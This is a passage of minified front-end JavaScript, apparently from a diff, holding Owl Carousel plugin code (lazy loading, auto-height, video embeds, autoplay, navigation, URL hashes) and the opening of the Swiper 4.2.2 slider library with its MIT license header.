c=this._core.settings,e=c.center&&Math.ceil(c.items/2)||c.items,f=c.center&&-1*e||0,g=(b.property&&b.property.value!==d?b.property.value:this._core.current())+f,h=this._core.clones().length,i=a.proxy(function(a,b){this.load(b)},this);f++<e;)this.load(h/2+this._core.relative(g)),h&&a.each(this._core.clones(this._core.relative(g)),i),g++},this)},this._core.options=a.extend({},e.Defaults,this._core.options),this._core.$element.on(this._handlers)};e.Defaults={lazyLoad:!1},e.prototype.load=function(c){var d=this._core.$stage.children().eq(c),e=d&&d.find(".owl-lazy");!e||a.inArray(d.get(0),this._loaded)>-1||(e.each(a.proxy(function(c,d){var e,f=a(d),g=b.devicePixelRatio>1&&f.attr("data-src-retina")||f.attr("data-src")||f.attr("data-srcset");this._core.trigger("load",{element:f,url:g},"lazy"),f.is("img")?f.one("load.owl.lazy",a.proxy(function(){f.css("opacity",1),this._core.trigger("loaded",{element:f,url:g},"lazy")},this)).attr("src",g):f.is("source")?f.one("load.owl.lazy",a.proxy(function(){this._core.trigger("loaded",{element:f,url:g},"lazy")},this)).attr("srcset",g):(e=new Image,e.onload=a.proxy(function(){f.css({"background-image":'url("'+g+'")',opacity:"1"}),this._core.trigger("loaded",{element:f,url:g},"lazy")},this),e.src=g)},this)),this._loaded.push(d.get(0)))},e.prototype.destroy=function(){var a,b;for(a in this.handlers)this._core.$element.off(a,this.handlers[a]);for(b in Object.getOwnPropertyNames(this))"function"!=typeof this[b]&&(this[b]=null)},a.fn.owlCarousel.Constructor.Plugins.Lazy=e}(window.Zepto||window.jQuery,window,document),function(a,b,c,d){var e=function(c){this._core=c,this._handlers={"initialized.owl.carousel refreshed.owl.carousel":a.proxy(function(a){a.namespace&&this._core.settings.autoHeight&&this.update()},this),"changed.owl.carousel":a.proxy(function(a){a.namespace&&this._core.settings.autoHeight&&"position"===a.property.name&&(console.log("update called"),this.update())},this),"loaded.owl.lazy":a.proxy(function(a){a.namespace&&this._core.settings.autoHeight&&a.element.closest("."+this._core.settings.itemClass).index()===this._core.current()&&this.update()},this)},this._core.options=a.extend({},e.Defaults,this._core.options),this._core.$element.on(this._handlers),this._intervalId=null;var d=this;a(b).on("load",function(){d._core.settings.autoHeight&&d.update()}),a(b).resize(function(){d._core.settings.autoHeight&&(null!=d._intervalId&&clearTimeout(d._intervalId),d._intervalId=setTimeout(function(){d.update()},250))})};e.Defaults={autoHeight:!1,autoHeightClass:"owl-height"},e.prototype.update=function(){var b=this._core._current,c=b+this._core.settings.items,d=this._core.$stage.children().toArray().slice(b,c),e=[],f=0;a.each(d,function(b,c){e.push(a(c).height())}),f=Math.max.apply(null,e),this._core.$stage.parent().height(f).addClass(this._core.settings.autoHeightClass)},e.prototype.destroy=function(){var a,b;for(a in this._handlers)this._core.$element.off(a,this._handlers[a]);for(b in Object.getOwnPropertyNames(this))"function"!=typeof this[b]&&(this[b]=null)},a.fn.owlCarousel.Constructor.Plugins.AutoHeight=e}(window.Zepto||window.jQuery,window,document),function(a,b,c,d){var e=function(b){this._core=b,this._videos={},this._playing=null,this._handlers={"initialized.owl.carousel":a.proxy(function(a){a.namespace&&this._core.register({type:"state",name:"playing",tags:["interacting"]})},this),"resize.owl.carousel":a.proxy(function(a){a.namespace&&this._core.settings.video&&this.isInFullScreen()&&a.preventDefault()},this),"refreshed.owl.carousel":a.proxy(function(a){a.namespace&&this._core.is("resizing")&&this._core.$stage.find(".cloned .owl-video-frame").remove()},this),"changed.owl.carousel":a.proxy(function(a){a.namespace&&"position"===a.property.name&&this._playing&&this.stop()},this),"prepared.owl.carousel":a.proxy(function(b){if(b.namespace){var c=a(b.content).find(".owl-video");c.length&&(c.css("display","none"),this.fetch(c,a(b.content)))}},this)},this._core.options=a.extend({},e.Defaults,this._core.options),this._core.$element.on(this._handlers),this._core.$element.on("click.owl.video",".owl-video-play-icon",a.proxy(function(a){this.play(a)},this))};e.Defaults={video:!1,videoHeight:!1,videoWidth:!1},e.prototype.fetch=function(a,b){var c=function(){return a.attr("data-vimeo-id")?"vimeo":a.attr("data-vzaar-id")?"vzaar":"youtube"}(),d=a.attr("data-vimeo-id")||a.attr("data-youtube-id")||a.attr("data-vzaar-id"),e=a.attr("data-width")||this._core.settings.videoWidth,f=a.attr("data-height")||this._core.settings.videoHeight,g=a.attr("href");if(!g)throw new Error("Missing video URL.");if(d=g.match(/(http:|https:|)\/\/(player.|www.|app.)?(vimeo\.com|youtu(be\.com|\.be|be\.googleapis\.com)|vzaar\.com)\/(video\/|videos\/|embed\/|channels\/.+\/|groups\/.+\/|watch\?v=|v\/)?([A-Za-z0-9._%-]*)(\&\S+)?/),d[3].indexOf("youtu")>-1)c="youtube";else if(d[3].indexOf("vimeo")>-1)c="vimeo";else{if(!(d[3].indexOf("vzaar")>-1))throw new Error("Video URL not supported.");c="vzaar"}d=d[6],this._videos[g]={type:c,id:d,width:e,height:f},b.attr("data-video",g),this.thumbnail(a,this._videos[g])},e.prototype.thumbnail=function(b,c){var d,e,f,g=c.width&&c.height?'style="width:'+c.width+"px;height:"+c.height+'px;"':"",h=b.find("img"),i="src",j="",k=this._core.settings,l=function(a){e='<div class="owl-video-play-icon"></div>',d=k.lazyLoad?'<div class="owl-video-tn '+j+'" '+i+'="'+a+'"></div>':'<div class="owl-video-tn" style="opacity:1;background-image:url('+a+')"></div>',b.after(d),b.after(e)};if(b.wrap('<div class="owl-video-wrapper"'+g+"></div>"),this._core.settings.lazyLoad&&(i="data-src",j="owl-lazy"),h.length)return l(h.attr(i)),h.remove(),!1;"youtube"===c.type?(f="//img.youtube.com/vi/"+c.id+"/hqdefault.jpg",l(f)):"vimeo"===c.type?a.ajax({type:"GET",url:"//vimeo.com/api/v2/video/"+c.id+".json",jsonp:"callback",dataType:"jsonp",success:function(a){f=a[0].thumbnail_large,l(f)}}):"vzaar"===c.type&&a.ajax({type:"GET",url:"//vzaar.com/api/videos/"+c.id+".json",jsonp:"callback",dataType:"jsonp",success:function(a){f=a.framegrab_url,l(f)}})},e.prototype.stop=function(){this._core.trigger("stop",null,"video"),this._playing.find(".owl-video-frame").remove(),this._playing.removeClass("owl-video-playing"),this._playing=null,this._core.leave("playing"),this._core.trigger("stopped",null,"video")},e.prototype.play=function(b){var c,d=a(b.target),e=d.closest("."+this._core.settings.itemClass),f=this._videos[e.attr("data-video")],g=f.width||"100%",h=f.height||this._core.$stage.height();this._playing||(this._core.enter("playing"),this._core.trigger("play",null,"video"),e=this._core.items(this._core.relative(e.index())),this._core.reset(e.index()),"youtube"===f.type?c='<iframe width="'+g+'" height="'+h+'" src="//www.youtube.com/embed/'+f.id+"?autoplay=1&rel=0&v="+f.id+'" frameborder="0" allowfullscreen></iframe>':"vimeo"===f.type?c='<iframe src="//player.vimeo.com/video/'+f.id+'?autoplay=1" width="'+g+'" height="'+h+'" frameborder="0" webkitallowfullscreen mozallowfullscreen allowfullscreen></iframe>':"vzaar"===f.type&&(c='<iframe frameborder="0"height="'+h+'"width="'+g+'" allowfullscreen mozallowfullscreen webkitAllowFullScreen src="//view.vzaar.com/'+f.id+'/player?autoplay=true"></iframe>'),a('<div class="owl-video-frame">'+c+"</div>").insertAfter(e.find(".owl-video")),this._playing=e.addClass("owl-video-playing"))},e.prototype.isInFullScreen=function(){var b=c.fullscreenElement||c.mozFullScreenElement||c.webkitFullscreenElement;return b&&a(b).parent().hasClass("owl-video-frame")},e.prototype.destroy=function(){var a,b;this._core.$element.off("click.owl.video");for(a in this._handlers)this._core.$element.off(a,this._handlers[a]);for(b in Object.getOwnPropertyNames(this))"function"!=typeof this[b]&&(this[b]=null)},a.fn.owlCarousel.Constructor.Plugins.Video=e}(window.Zepto||window.jQuery,window,document),function(a,b,c,d){var e=function(b){this.core=b,this.core.options=a.extend({},e.Defaults,this.core.options),this.swapping=!0,this.previous=d,this.next=d,this.handlers={"change.owl.carousel":a.proxy(function(a){a.namespace&&"position"==a.property.name&&(this.previous=this.core.current(),this.next=a.property.value)},this),"drag.owl.carousel dragged.owl.carousel translated.owl.carousel":a.proxy(function(a){a.namespace&&(this.swapping="translated"==a.type)},this),"translate.owl.carousel":a.proxy(function(a){a.namespace&&this.swapping&&(this.core.options.animateOut||this.core.options.animateIn)&&this.swap()},this)},this.core.$element.on(this.handlers)};e.Defaults={animateOut:!1,animateIn:!1},e.prototype.swap=function(){if(1===this.core.settings.items&&a.support.animation&&a.support.transition){
+this.core.speed(0);var b,c=a.proxy(this.clear,this),d=this.core.$stage.children().eq(this.previous),e=this.core.$stage.children().eq(this.next),f=this.core.settings.animateIn,g=this.core.settings.animateOut;this.core.current()!==this.previous&&(g&&(b=this.core.coordinates(this.previous)-this.core.coordinates(this.next),d.one(a.support.animation.end,c).css({left:b+"px"}).addClass("animated owl-animated-out").addClass(g)),f&&e.one(a.support.animation.end,c).addClass("animated owl-animated-in").addClass(f))}},e.prototype.clear=function(b){a(b.target).css({left:""}).removeClass("animated owl-animated-out owl-animated-in").removeClass(this.core.settings.animateIn).removeClass(this.core.settings.animateOut),this.core.onTransitionEnd()},e.prototype.destroy=function(){var a,b;for(a in this.handlers)this.core.$element.off(a,this.handlers[a]);for(b in Object.getOwnPropertyNames(this))"function"!=typeof this[b]&&(this[b]=null)},a.fn.owlCarousel.Constructor.Plugins.Animate=e}(window.Zepto||window.jQuery,window,document),function(a,b,c,d){var e=function(b){this._core=b,this._call=null,this._time=0,this._timeout=0,this._paused=!0,this._handlers={"changed.owl.carousel":a.proxy(function(a){a.namespace&&"settings"===a.property.name?this._core.settings.autoplay?this.play():this.stop():a.namespace&&"position"===a.property.name&&this._paused&&(this._time=0)},this),"initialized.owl.carousel":a.proxy(function(a){a.namespace&&this._core.settings.autoplay&&this.play()},this),"play.owl.autoplay":a.proxy(function(a,b,c){a.namespace&&this.play(b,c)},this),"stop.owl.autoplay":a.proxy(function(a){a.namespace&&this.stop()},this),"mouseover.owl.autoplay":a.proxy(function(){this._core.settings.autoplayHoverPause&&this._core.is("rotating")&&this.pause()},this),"mouseleave.owl.autoplay":a.proxy(function(){this._core.settings.autoplayHoverPause&&this._core.is("rotating")&&this.play()},this),"touchstart.owl.core":a.proxy(function(){this._core.settings.autoplayHoverPause&&this._core.is("rotating")&&this.pause()},this),"touchend.owl.core":a.proxy(function(){this._core.settings.autoplayHoverPause&&this.play()},this)},this._core.$element.on(this._handlers),this._core.options=a.extend({},e.Defaults,this._core.options)};e.Defaults={autoplay:!1,autoplayTimeout:5e3,autoplayHoverPause:!1,autoplaySpeed:!1},e.prototype._next=function(d){this._call=b.setTimeout(a.proxy(this._next,this,d),this._timeout*(Math.round(this.read()/this._timeout)+1)-this.read()),this._core.is("interacting")||c.hidden||this._core.next(d||this._core.settings.autoplaySpeed)},e.prototype.read=function(){return(new Date).getTime()-this._time},e.prototype.play=function(c,d){var e;this._core.is("rotating")||this._core.enter("rotating"),c=c||this._core.settings.autoplayTimeout,e=Math.min(this._time%(this._timeout||c),c),this._paused?(this._time=this.read(),this._paused=!1):b.clearTimeout(this._call),this._time+=this.read()%c-e,this._timeout=c,this._call=b.setTimeout(a.proxy(this._next,this,d),c-e)},e.prototype.stop=function(){this._core.is("rotating")&&(this._time=0,this._paused=!0,b.clearTimeout(this._call),this._core.leave("rotating"))},e.prototype.pause=function(){this._core.is("rotating")&&!this._paused&&(this._time=this.read(),this._paused=!0,b.clearTimeout(this._call))},e.prototype.destroy=function(){var a,b;this.stop();for(a in this._handlers)this._core.$element.off(a,this._handlers[a]);for(b in Object.getOwnPropertyNames(this))"function"!=typeof this[b]&&(this[b]=null)},a.fn.owlCarousel.Constructor.Plugins.autoplay=e}(window.Zepto||window.jQuery,window,document),function(a,b,c,d){"use strict";var e=function(b){this._core=b,this._initialized=!1,this._pages=[],this._controls={},this._templates=[],this.$element=this._core.$element,this._overrides={next:this._core.next,prev:this._core.prev,to:this._core.to},this._handlers={"prepared.owl.carousel":a.proxy(function(b){b.namespace&&this._core.settings.dotsData&&this._templates.push('<div class="'+this._core.settings.dotClass+'">'+a(b.content).find("[data-dot]").addBack("[data-dot]").attr("data-dot")+"</div>")},this),"added.owl.carousel":a.proxy(function(a){a.namespace&&this._core.settings.dotsData&&this._templates.splice(a.position,0,this._templates.pop())},this),"remove.owl.carousel":a.proxy(function(a){a.namespace&&this._core.settings.dotsData&&this._templates.splice(a.position,1)},this),"changed.owl.carousel":a.proxy(function(a){a.namespace&&"position"==a.property.name&&this.draw()},this),"initialized.owl.carousel":a.proxy(function(a){a.namespace&&!this._initialized&&(this._core.trigger("initialize",null,"navigation"),this.initialize(),this.update(),this.draw(),this._initialized=!0,this._core.trigger("initialized",null,"navigation"))},this),"refreshed.owl.carousel":a.proxy(function(a){a.namespace&&this._initialized&&(this._core.trigger("refresh",null,"navigation"),this.update(),this.draw(),this._core.trigger("refreshed",null,"navigation"))},this)},this._core.options=a.extend({},e.Defaults,this._core.options),this.$element.on(this._handlers)};e.Defaults={nav:!1,navText:['<span aria-label="Previous">&#x2039;</span>','<span aria-label="Next">&#x203a;</span>'],navSpeed:!1,navElement:'button type="button" role="presentation"',navContainer:!1,navContainerClass:"owl-nav",navClass:["owl-prev","owl-next"],slideBy:1,dotClass:"owl-dot",dotsClass:"owl-dots",dots:!0,dotsEach:!1,dotsData:!1,dotsSpeed:!1,dotsContainer:!1},e.prototype.initialize=function(){var b,c=this._core.settings;this._controls.$relative=(c.navContainer?a(c.navContainer):a("<div>").addClass(c.navContainerClass).appendTo(this.$element)).addClass("disabled"),this._controls.$previous=a("<"+c.navElement+">").addClass(c.navClass[0]).html(c.navText[0]).prependTo(this._controls.$relative).on("click",a.proxy(function(a){this.prev(c.navSpeed)},this)),this._controls.$next=a("<"+c.navElement+">").addClass(c.navClass[1]).html(c.navText[1]).appendTo(this._controls.$relative).on("click",a.proxy(function(a){this.next(c.navSpeed)},this)),c.dotsData||(this._templates=[a('<button role="button">').addClass(c.dotClass).append(a("<span>")).prop("outerHTML")]),this._controls.$absolute=(c.dotsContainer?a(c.dotsContainer):a("<div>").addClass(c.dotsClass).appendTo(this.$element)).addClass("disabled"),this._controls.$absolute.on("click","button",a.proxy(function(b){var d=a(b.target).parent().is(this._controls.$absolute)?a(b.target).index():a(b.target).parent().index();b.preventDefault(),this.to(d,c.dotsSpeed)},this));for(b in this._overrides)this._core[b]=a.proxy(this[b],this)},e.prototype.destroy=function(){var a,b,c,d,e;e=this._core.settings;for(a in this._handlers)this.$element.off(a,this._handlers[a]);for(b in this._controls)"$relative"===b&&e.navContainer?this._controls[b].html(""):this._controls[b].remove();for(d in this.overides)this._core[d]=this._overrides[d];for(c in Object.getOwnPropertyNames(this))"function"!=typeof this[c]&&(this[c]=null)},e.prototype.update=function(){var a,b,c,d=this._core.clones().length/2,e=d+this._core.items().length,f=this._core.maximum(!0),g=this._core.settings,h=g.center||g.autoWidth||g.dotsData?1:g.dotsEach||g.items;if("page"!==g.slideBy&&(g.slideBy=Math.min(g.slideBy,g.items)),g.dots||"page"==g.slideBy)for(this._pages=[],a=d,b=0,c=0;a<e;a++){if(b>=h||0===b){if(this._pages.push({start:Math.min(f,a-d),end:a-d+h-1}),Math.min(f,a-d)===f)break;b=0,++c}b+=this._core.mergers(this._core.relative(a))}},e.prototype.draw=function(){var b,c=this._core.settings,d=this._core.items().length<=c.items,e=this._core.relative(this._core.current()),f=c.loop||c.rewind;this._controls.$relative.toggleClass("disabled",!c.nav||d),c.nav&&(this._controls.$previous.toggleClass("disabled",!f&&e<=this._core.minimum(!0)),this._controls.$next.toggleClass("disabled",!f&&e>=this._core.maximum(!0))),this._controls.$absolute.toggleClass("disabled",!c.dots||d),c.dots&&(b=this._pages.length-this._controls.$absolute.children().length,c.dotsData&&0!==b?this._controls.$absolute.html(this._templates.join("")):b>0?this._controls.$absolute.append(new Array(b+1).join(this._templates[0])):b<0&&this._controls.$absolute.children().slice(b).remove(),this._controls.$absolute.find(".active").removeClass("active"),this._controls.$absolute.children().eq(a.inArray(this.current(),this._pages)).addClass("active"))},e.prototype.onTrigger=function(b){var c=this._core.settings;b.page={index:a.inArray(this.current(),this._pages),count:this._pages.length,size:c&&(c.center||c.autoWidth||c.dotsData?1:c.dotsEach||c.items)}},e.prototype.current=function(){var b=this._core.relative(this._core.current());return a.grep(this._pages,a.proxy(function(a,c){return a.start<=b&&a.end>=b},this)).pop()},e.prototype.getPosition=function(b){var c,d,e=this._core.settings;return"page"==e.slideBy?(c=a.inArray(this.current(),this._pages),d=this._pages.length,b?++c:--c,c=this._pages[(c%d+d)%d].start):(c=this._core.relative(this._core.current()),d=this._core.items().length,b?c+=e.slideBy:c-=e.slideBy),c},e.prototype.next=function(b){a.proxy(this._overrides.to,this._core)(this.getPosition(!0),b)},e.prototype.prev=function(b){a.proxy(this._overrides.to,this._core)(this.getPosition(!1),b)},e.prototype.to=function(b,c,d){var e;!d&&this._pages.length?(e=this._pages.length,a.proxy(this._overrides.to,this._core)(this._pages[(b%e+e)%e].start,c)):a.proxy(this._overrides.to,this._core)(b,c)},a.fn.owlCarousel.Constructor.Plugins.Navigation=e}(window.Zepto||window.jQuery,window,document),function(a,b,c,d){"use strict";var e=function(c){this._core=c,this._hashes={},this.$element=this._core.$element,this._handlers={"initialized.owl.carousel":a.proxy(function(c){c.namespace&&"URLHash"===this._core.settings.startPosition&&a(b).trigger("hashchange.owl.navigation")},this),"prepared.owl.carousel":a.proxy(function(b){if(b.namespace){var c=a(b.content).find("[data-hash]").addBack("[data-hash]").attr("data-hash");if(!c)return;this._hashes[c]=b.content}},this),"changed.owl.carousel":a.proxy(function(c){if(c.namespace&&"position"===c.property.name){var d=this._core.items(this._core.relative(this._core.current())),e=a.map(this._hashes,function(a,b){return a===d?b:null}).join();if(!e||b.location.hash.slice(1)===e)return;b.location.hash=e}},this)},this._core.options=a.extend({},e.Defaults,this._core.options),this.$element.on(this._handlers),a(b).on("hashchange.owl.navigation",a.proxy(function(a){var c=b.location.hash.substring(1),e=this._core.$stage.children(),f=this._hashes[c]&&e.index(this._hashes[c]);f!==d&&f!==this._core.current()&&this._core.to(this._core.relative(f),!1,!0)},this))};e.Defaults={URLhashListener:!1},e.prototype.destroy=function(){var c,d;a(b).off("hashchange.owl.navigation");for(c in this._handlers)this._core.$element.off(c,this._handlers[c]);for(d in Object.getOwnPropertyNames(this))"function"!=typeof this[d]&&(this[d]=null)},a.fn.owlCarousel.Constructor.Plugins.Hash=e}(window.Zepto||window.jQuery,window,document),function(a,b,c,d){function e(b,c){var e=!1,f=b.charAt(0).toUpperCase()+b.slice(1);return a.each((b+" "+h.join(f+" ")+f).split(" "),function(a,b){if(g[b]!==d)return e=!c||b,!1}),e}function f(a){return e(a,!0)}var g=a("<support>").get(0).style,h="Webkit Moz O ms".split(" "),i={transition:{end:{WebkitTransition:"webkitTransitionEnd",MozTransition:"transitionend",OTransition:"oTransitionEnd",transition:"transitionend"}},animation:{end:{WebkitAnimation:"webkitAnimationEnd",MozAnimation:"animationend",OAnimation:"oAnimationEnd",animation:"animationend"}}},j={csstransforms:function(){return!!e("transform")},csstransforms3d:function(){return!!e("perspective")},csstransitions:function(){return!!e("transition")},cssanimations:function(){return!!e("animation")}};j.csstransitions()&&(a.support.transition=new String(f("transition")),a.support.transition.end=i.transition.end[a.support.transition]),j.cssanimations()&&(a.support.animation=new String(f("animation")),a.support.animation.end=i.animation.end[a.support.animation]),j.csstransforms()&&(a.support.transform=new String(f("transform")),a.support.transform3d=j.csstransforms3d())}(window.Zepto||window.jQuery,window,document);
+ 
+ /* Swiper 4.2.2
+-- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- */
+/**
+ * Swiper 4.2.2
+ * Most modern mobile touch slider and framework with hardware accelerated transitions
+ * http://www.idangero.us/swiper/
+ *
+ * Copyright 2014-2018 Vladimir Kharlampidi
+ *
+ * Released under the MIT License
+ *
+ * Released on: April 1, 2018
+ */
+!function(e,t){"object"==typeof exports&&"undefined"!=typeof module?module.exports=t():"function"==typeof define&&define.amd?define(t):e.Swiper=t()}(this,function(){"use strict";var e="undefined"==typeof document?{body:{},addEventListener:function(){},removeEventListener:function(){},activeElement:{blur:function(){},nodeName:""},querySelector:function(){return null},querySelectorAll:function(){return[]},getElementById:function(){return null},createEvent:function(){return{initEvent:function(){}}},createElement:function(){return{children:[],childNodes:[],style:{},setAttribute:function(){},getElementsByTagName:function(){return[]}}},location:{hash:""}}:document,t="undefined"==typeof window?{document:e,navigator:{userAgent:""},location:{},history:{},CustomEvent:function(){return this},addEventListener:function(){},removeEventListener:function(){},getComputedStyle:function(){return{getPropertyValue:function(){return""}}},Image:function(){},Date:function(){},screen:{},setTimeout:function(){},clearTimeout:function(){}}:window,i=function(e){for(var t=0;t<e.length;t+=1)this[t]=e[t];return this.length=e.length,this};function s(s,a){var r=[],n=0;if(s&&!a&&s instanceof i)return s;if(s)if("string"==typeof s){var o,l,d=s.trim();if(d.indexOf("<")>=0&&d.indexOf(">")>=0){var h="div";for(0===d.indexOf("<li")&&(h="ul"),0===d.indexOf("<tr")&&(h="tbody"),0!==d.indexOf("<td")&&0!==d.indexOf("<th")||(h="tr"),0===d.indexOf("<tbody")&&(h="table"),0===d.indexOf("<option")&&(h="select"),(l=e.createElement(h)).innerHTML=d,n=0;n<l.childNodes.length;n+=1)r.push(l.childNodes[n])}else for(o=a||"#"!==s[0]||s.match(/[ .<>:~]/)?(a||e).querySelectorAll(s.trim()):[e.getElementById(s.trim().split("#")[1])],n=0;n<o.length;n+=1)o[n]&&r.push(o[n])}else if(s.nodeType||s===t||s===e)r.push(s);else if(s.length>0&&s[0].nodeType)for(n=0;n<s.length;n+=1)r.push(s[n]);return new i(r)}function a(e){for(var t=[],i=0;i<e.length;i+=1)-1===t.indexOf(e[i])&&t.push(e[i]);return t}s.fn=i.prototype,s.Class=i,s.Dom7=i;var r={addClass:function(e){if(void 0===e)return this;for(var t=e.split(" "),i=0;i<t.length;i+=1)for(var s=0;s<this.length;s+=1)void 0!==this[s].classList&&this[s].classList.add(t[i]);return this},removeClass:function(e){for(var t=e.split(" "),i=0;i<t.length;i+=1)for(var s=0;s<this.length;s+=1)void 0!==this[s].classList&&this[s].classList.remove(t[i]);return this},hasClass:function(e){return!!this[0]&&this[0].classList.contains(e)},toggleClass:function(e){for(var t=e.split(" "),i=0;i<t.length;i+=1)for(var s=0;s<this.length;s+=1)void 0!==this[s].classList&&this[s].classList.toggle(t[i]);return this},attr:function(e,t){var i=arguments;if(1===arguments.length&&"string"==typeof e)return this[0]?this[0].getAttribute(e):void 0;for(var s=0;s<this.length;s+=1)if(2===i.length)this[s].setAttribute(e,t);else for(var a in e)this[s][a]=e[a],this[s].setAttribute(a,e[a]);return this},removeAttr:function(e){for(var t=0;t<this.length;t+=1)this[t].removeAttribute(e);return this},data:function(e,t){var i;if(void 0!==t){for(var s=0;s<this.length;s+=1)(i=this[s]).dom7ElementDataStorage||(i.dom7ElementDataStorage={}),i.dom7ElementDataStorage[e]=t;return this}if(i=this[0]){if(i.dom7ElementDataStorage&&e in i.dom7ElementDataStorage)return i.dom7ElementDataStorage[e];var a=i.getAttribute("data-"+e);return a||void 0}},transform:function(e){for(var t=0;t<this.length;t+=1){var i=this[t].style;i.webkitTransform=e,i.transform=e}return this},transition:function(e){"string"!=typeof e&&(e+="ms");for(var t=0;t<this.length;t+=1){var i=this[t].style;i.webkitTransitionDuration=e,i.transitionDuration=e}return this},on:function(){for(var e,t=[],i=arguments.length;i--;)t[i]=arguments[i];var a=t[0],r=t[1],n=t[2],o=t[3];function l(e){var t=e.target;if(t){var i=e.target.dom7EventData||[];if(i.unshift(e),s(t).is(r))n.apply(t,i);else for(var a=s(t).parents(),o=0;o<a.length;o+=1)s(a[o]).is(r)&&n.apply(a[o],i)}}function d(e){var t=e&&e.target?e.target.dom7EventData||[]:[];t.unshift(e),n.apply(this,t)}"function"==typeof t[1]&&(a=(e=t)[0],n=e[1],o=e[2],r=void 0),o||(o=!1);for(var h,p=a.split(" "),c=0;c<this.length;c+=1){var u=this[c];if(r)for(h=0;h<p.length;h+=1)u.dom7LiveListeners||(u.dom7LiveListeners=[]),u.dom7LiveListeners.push({type:a,listener:n,proxyListener:l}),u.addEventListener(p[h],l,o);else for(h=0;h<p.length;h+=1)u.dom7Listeners||(u.dom7Listeners=[]),u.dom7Listeners.push({type:a,listener:n,proxyListener:d}),u.addEventListener(p[h],d,o)}return this},off:function(){for(var e,t=[],i=arguments.length;i--;)t[i]=arguments[i];var s=t[0],a=t[1],r=t[2],n=t[3];"function"==typeof t[1]&&(s=(e=t)[0],r=e[1],n=e[2],a=void 0),n||(n=!1);for(var o=s.split(" "),l=0;l<o.length;l+=1)for(var d=0;d<this.length;d+=1){var h=this[d];if(a){if(h.dom7LiveListeners)for(var p=0;p<h.dom7LiveListeners.length;p+=1)r?h.dom7LiveListeners[p].listener===r&&h.removeEventListener(o[l],h.dom7LiveListeners[p].proxyListener,n):h.dom7LiveListeners[p].type===o[l]&&h.removeEventListener(o[l],h.dom7LiveListeners[p].proxyListener,n)}else if(h.dom7Listeners)for(var c=0;c<h.dom7Listeners.length;c+=1)r?h.dom7Listeners[c].listener===r&&h.removeEventListener(o[l],h.dom7Listeners[c].proxyListener,n):h.dom7Listeners[c].type===o[l]&&h.removeEventListener(o[l],h.dom7Listeners[c].proxyListener,n)}return this},trigger:function(){for(var i=[],s=arguments.length;s--;)i[s]=arguments[s];for(var a=i[0].split(" "),r=i[1],n=0;n<a.length;n+=1)for(var o=0;o<this.length;o+=1){var l=void 0;try{l=new t.CustomEvent(a[n],{detail:r,bubbles:!0,cancelable:!0})}catch(t){(l=e.createEvent("Event")).initEvent(a[n],!0,!0),l.detail=r}this[o].dom7EventData=i.filter(function(e,t){return t>0}),this[o].dispatchEvent(l),this[o].dom7EventData=[],delete this[o].dom7EventData}return this},transitionEnd:function(e){var t,i=["webkitTransitionEnd","transitionend"],s=this;function a(r){if(r.target===this)for(e.call(this,r),t=0;t<i.length;t+=1)s.off(i[t],a)}if(e)for(t=0;t<i.length;t+=1)s.on(i[t],a);return this},outerWidth:function(e){if(this.length>0){if(e){var t=this.styles();return this[0].offsetWidth+parseFloat(t.getPropertyValue("margin-right"))+parseFloat(t.getPropertyValue("margin-left"))}return this[0].offsetWidth}return null},outerHeight:function(e){if(this.length>0){if(e){var t=this.styles();return this[0].offsetHeight+parseFloat(t.getPropertyValue("margin-top"))+parseFloat(t.getPropertyValue("margin-bottom"))}return this[0].offsetHeight}return null},offset:function(){if(this.length>0){var i=this[0],s=i.getBoundingClientRect(),a=e.body,r=i.clientTop||a.clientTop||0,n=i.clientLeft||a.clientLeft||0,o=i===t?t.scrollY:i.scrollTop,l=i===t?t.scrollX:i.scrollLeft;return{top:s.top+o-r,left:s.left+l-n}}return null},css:function(e,i){var s;if(1===arguments.length){if("string"!=typeof e){for(s=0;s<this.length;s+=1)for(var a in e)this[s].style[a]=e[a];return this}if(this[0])return t.getComputedStyle(this[0],null).getPropertyValue(e)}if(2===arguments.length&&"string"==typeof e){for(s=0;s<this.length;s+=1)this[s].style[e]=i;return this}return this},each:function(e){if(!e)return this;for(var t=0;t<this.length;t+=1)if(!1===e.call(this[t],t,this[t]))return this;return this},html:function(e){if(void 0===e)return this[0]?this[0].innerHTML:void 0;for(var t=0;t<this.length;t+=1)this[t].innerHTML=e;return this},text:function(e){if(void 0===e)return this[0]?this[0].textContent.trim():null;for(var t=0;t<this.length;t+=1)this[t].textContent=e;return this},is:function(a){var r,n,o=this[0];if(!o||void 0===a)return!1;if("string"==typeof a){if(o.matches)return o.matches(a);if(o.webkitMatchesSelector)return o.webkitMatchesSelector(a);if(o.msMatchesSelector)return o.msMatchesSelector(a);for(r=s(a),n=0;n<r.length;n+=1)if(r[n]===o)return!0;return!1}if(a===e)return o===e;if(a===t)return o===t;if(a.nodeType||a instanceof i){for(r=a.nodeType?[a]:a,n=0;n<r.length;n+=1)if(r[n]===o)return!0;return!1}return!1},index:function(){var e,t=this[0];if(t){for(e=0;null!==(t=t.previousSibling);)1===t.nodeType&&(e+=1);return e}},eq:function(e){if(void 0===e)return this;var t,s=this.length;return new i(e>s-1?[]:e<0?(t=s+e)<0?[]:[this[t]]:[this[e]])},append:function(){for(var t,s=[],a=arguments.length;a--;)s[a]=arguments[a];for(var r=0;r<s.length;r+=1){t=s[r];for(var n=0;n<this.length;n+=1)if("string"==typeof t){var o=e.createElement("div");for(o.innerHTML=t;o.firstChild;)this[n].appendChild(o.firstChild)}else if(t instanceof i)for(var l=0;l<t.length;l+=1)this[n].appendChild(t[l]);else this[n].appendChild(t)}return this},prepend:function(t){var s,a;for(s=0;s<this.length;s+=1)if("string"==typeof t){var r=e.createElement("div");for(r.innerHTML=t,a=r.childNodes.length-1;a>=0;a-=1)this[s].insertBefore(r.childNodes[a],this[s].childNodes[0])}else if(t instanceof i)for(a=0;a<t.length;a+=1)this[s].insertBefore(t[a],this[s].childNodes[0]);else this[s].insertBefore(t,this[s].childNodes[0]);return this},next:function(e){return this.length>0?e?this[0].nextElementSibling&&s(this[0].nextElementSibling).is(e)?new i([this[0].nextElementSibling]):new i([]):this[0].nextElementSibling?new i([this[0].nextElementSibling]):new i([]):new i([])},nextAll:function(e){var t=[],a=this[0];if(!a)return new i([]);for(;a.nextElementSibling;){var r=a.nextElementSibling;e?s(r).is(e)&&t.push(r):t.push(r),a=r}return new i(t)},prev:function(e){if(this.length>0){var t=this[0];return e?t.previousElementSibling&&s(t.previousElementSibling).is(e)?new i([t.previousElementSibling]):new i([]):t.previousElementSibling?new i([t.previousElementSibling]):new i([])}return new i([])},prevAll:function(e){var t=[],a=this[0];if(!a)return new i([]);for(;a.previousElementSibling;){var 